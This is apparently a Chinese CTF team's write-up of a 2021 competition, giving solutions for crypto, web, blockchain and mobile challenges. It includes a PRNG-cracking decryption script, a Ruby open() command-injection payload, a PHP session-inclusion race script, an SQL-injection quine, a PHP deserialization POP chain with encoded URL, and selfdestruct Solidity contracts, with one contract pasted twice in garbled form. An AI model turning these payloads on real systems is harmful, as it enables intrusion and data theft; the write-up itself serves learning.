from Crypto.Cipher import AES
from randcrack import RandCrack

aa = 22186905890293167337018474102
bb = 64390888389278700958517837515
off2 = 3288350018

with open('out') as f:
    ss = f.read().splitlines()
s = eval(ss[5])
c4 = eval(ss[7])
c4 = long_to_bytes(c4)

s = [x for y in s for x in y]

append_2 = b'\xf1\x0f\xb5\xb5\xae\xf0\x05\x92BWR\xd0>\x91\x0cv\xbc ]\x81'
append_2 = bytes_to_long(append_2)

def my_submit(rc, x, t):
    for i in range(t):
        rc.submit(x % (1 << 32))
        x >>= 32

rc = RandCrack()
my_submit(rc, aa, 3)
my_submit(rc, bb, 3)
my_submit(rc, append_2, 5)
my_submit(rc, off2, 1)
for i in s:
    rc.submit(i)

key = rc.predict_getrandbits(128)
key = long_to_bytes(key, 16)
cipher = AES.new(key, AES.MODE_ECB)
m = cipher.decrypt(c4)
print(m)

q, g, h = [eval(x) for x in ss[8].split()]
c1, c2 = [eval(x) for x in ss[9].split()]
gg = rc.predict_randrange(q-1)
print(g == gg)
x = rc.predict_randrange(q-1)
y = rc.predict_randrange(q-1)
s = pow(g, x*y, q)
m5 = c2 * inverse(s, q) % q
print(long_to_bytes(m5))

# Make666GreatAgain_University

finexp.py

from hashlib import sha256

name = b'xiaoMing'

phone = b'14115102907'

mail = b'xiaoMing@amail.com'

address = b'No.123_doge_road'

school = b'Make666GreatAgain_University'

flag = 'flag{'+sha256(name).hexdigest()[:8]+'-'+sha256(phone).hexdigest()[:4]+'-'+sha256(mail).hexdigest()[:4]+'-'+sha256(address).hexdigest()[:4]+'-'+sha256(school).hexdigest()[:12]+'}'

print(flag)
##flag{073fa53e-4246-dd1d-54a0-0c268444ad09}

数据安全

sqlite3

WEB

PNG图片转换器

考点:Ruby open rce
文章:https://blog.heroku.com/identifying-ruby-ftp-cve
文章中提供了一种命令执行的方式

image-20210917204033641.png

/convert路由刚好满足了条件,直接利用即可。不过要注意的是要以.png结尾,这里可以直接把内容输
入到aatao.png;不能用 / 和 .. 不过可以用Linux下的环境变量构造出来

读取根目录文件内容
|ls+`echo+$PATH|cut+-c+1`+>aatao.png
接着读取aatao.png内容,base64解码即可

image-20210917204145681.png

接着读取/FLA9_KywXAv78LbopbpBDuWsm的内容

image-20210917204206289.png

查看aatao.png的内容

image-20210917204228730.png

EasyCleanup

考点:session文件包含
日常考点,直接上脚本

import io
import requests
import threading

sess_id = 'Atao'

def write(session):
    while True:
        f = io.BytesIO(b'a' * 1024 * 128)
        session.post(url='http://114.115.134.72:32770/',
                     data={'PHP_SESSION_UPLOAD_PROGRESS': 'aaaaasdasdasd<?php
system("cat /flag_is_here_not_are_but_you_find")?>'},
                     files={'file': ('atao.txt',f)},
                     cookies={'PHPSESSID': sess_id}
                     )
if __name__=="__main__":
    event = threading.Event()
    session = requests.session()
    for i in range(1,80):
        threading.Thread(target=write,args=(session,)).start()

接着访问:http://114.115.134.72:32770/?file=/tmp/sess_Atao即可

image-20210917203917043.png

yet_another_mysql_injection

考点:构造一个select返回的内容与$_POST['password']相同即可
参考文章:https://www.shysecurity.com/post/20140705-SQLi-Quine
这里俺是模仿出来的文章的Payload写的

'union/**/select/**/REPLACE(REPLACE('"union/**/select/**/REPLACE(REPLACE("^",CHA
R(34),CHAR(39)),CHAR(94),"^")AS/**/atao#',CHAR(34),CHAR(39)),CHAR(94),'"union/**
/select/**/REPLACE(REPLACE("^",CHAR(34),CHAR(39)),CHAR(94),"^")AS/**/atao#')AS/*
*/atao#

主要是利用REPLACE替换函数将内容换成来完成$_POST['password']==$row['password']

"union/**/select/**/REPLACE(REPLACE("^",CHAR(34),CHAR(39)),CHAR(94),"^")AS/**/at
ao#
第一次REPLACE
'union/**/select/**/REPLACE(REPLACE('^',CHAR(34),CHAR(39)),CHAR(94),'^')AS/**/at
ao#
第二次REPLACE
'union/**/select/**/REPLACE(REPLACE('"union/**/select/**/REPLACE(REPLACE("^",CHA
R(34),CHAR(39)),CHAR(94),"^")AS/**/atao#',CHAR(34),CHAR(39)),CHAR(94),'"union/**
/select/**/REPLACE(REPLACE("^",CHAR(34),CHAR(39)),CHAR(94),"^")AS/**/atao#')AS/*
*/atao#

image-20210917203550182.png

WebFTP

找源码:https://github.com/wifeat/WebFTP
在phpinfo中找到flag,感觉为非预期:

image-20210917202518405.png

pklovecloud

考点:构造POP链

<?php
class acp
{
    protected $cinder;
    public $neutron;
    public $nova;
    function __construct($cinder){
        $this->nova = &$this->neutron;
        $this->cinder = $cinder;
    }
}
class ace
{
    public $filename = "flag.php";
    public $openstack;
    public $docker;
    function __construct($docker){
    $this->docker = $docker;
    }
}
echo urlencode(serialize(new acp(new ace(serialize(new acp(""))))));

记得url编码一下,再查看源码可以看到flag

view-source:http://122.112.141.64:45852/?pks=O%3A3%3A%22acp%22%3A3%3A%7Bs%3A9%3A%22%00%2A%00cinder%22%3BO%3A3%3A%22ace%22%3A3%3A%7Bs%3A8%3A%22filename%22%3Bs%3A8%3A%22flag.php%22%3Bs%3A9%3A%22openstack%22%3BN%3Bs%3A6%3A%22docker%22%3Bs%3A68%3A%22O%3A3%3A%22acp%22%3A3%3A%7Bs%3A9%3A%22%00%2A%00cinder%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22neutron%22%3BN%3Bs%3A4%3A%22nova%22%3BR%3A3%3B%7D%22%3B%7Ds%3A7%3A%22neutron%22%3BN%3Bs%3A4%3A%22nova%22%3BR%3A6%3B%7D

image-20210917203300589.png

区块链(赛后)

CallBox

paradigm-ctf babysandbox
原题给了源码 这个没给,逆完了是⼀样的:

pragma solidity 0.7.0;
contract Receiver {
fallback() external {
assembly {
// hardcode the Destroyer's address here before deploying Receiver
switch call(gas(), 0xE29D3BfAB1e1B1824a0F2B5f186E97B7f8f06F7D, 0x00, 0x00, 0x00, 0x00,
0x00)
case 0 {
return(0x00, 0x00)
}
case 1 {
selfdestruct(0)
}
}
}
}
pragma solidity 0.7.0;
contract Dummy {
pragma solidity 0.7.0;
contract Receiver {
fallback() external {
assembly {
// hardcode the Destroyer's address here before deploying Receiver
switch call(gas(), 0xE29D3BfAB1e1B1824a0F2B5f186E97B7f8f06F7D, 0x00, 0x00, 0x00, 0x00,
0x00)
case 0 {
return(0x00, 0x00)
}
case 1 {
selfdestruct(0)
}
}
}
}
pragma solidity 0.7.0;
contract Dummy {
fallback() external {
selfdestruct(address(0));
}
}

msg.data:0xc24fe9500000000000000000000000008B62B35DB8D278f463D89EBb54E5fE9f6A5305c4

MOBILE

uniapp(赛后)

看起来是个chacha20,直接⽤它js现成的解密函数解就⾏

密⽂p = [34, 69, 86, 242, 93, 72, 134, 226, 42, 138, 112, 56, 189, 53, 77, 178, 223, 76, 78, 221, 63, 40, 86, 231,
121, 29, 154, 189, 204, 243, 205, 44, 141, 100, 13, 164, 35, 123]

⼏个参数

i = new Uint8Array([0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27,
28, 29, 30, 31])

a = new Uint8Array([0, 0, 0, 0, 0, 0, 0, 74, 0, 0, 0, 0])

s = 1 

f= new r(i,a,s)

c = new Uint8Array(p)

f.decrypt(c)

最后再异或102拿到flag

capp

REVERSE

babyruby

StrangeLanguage

标签: none

暂无评论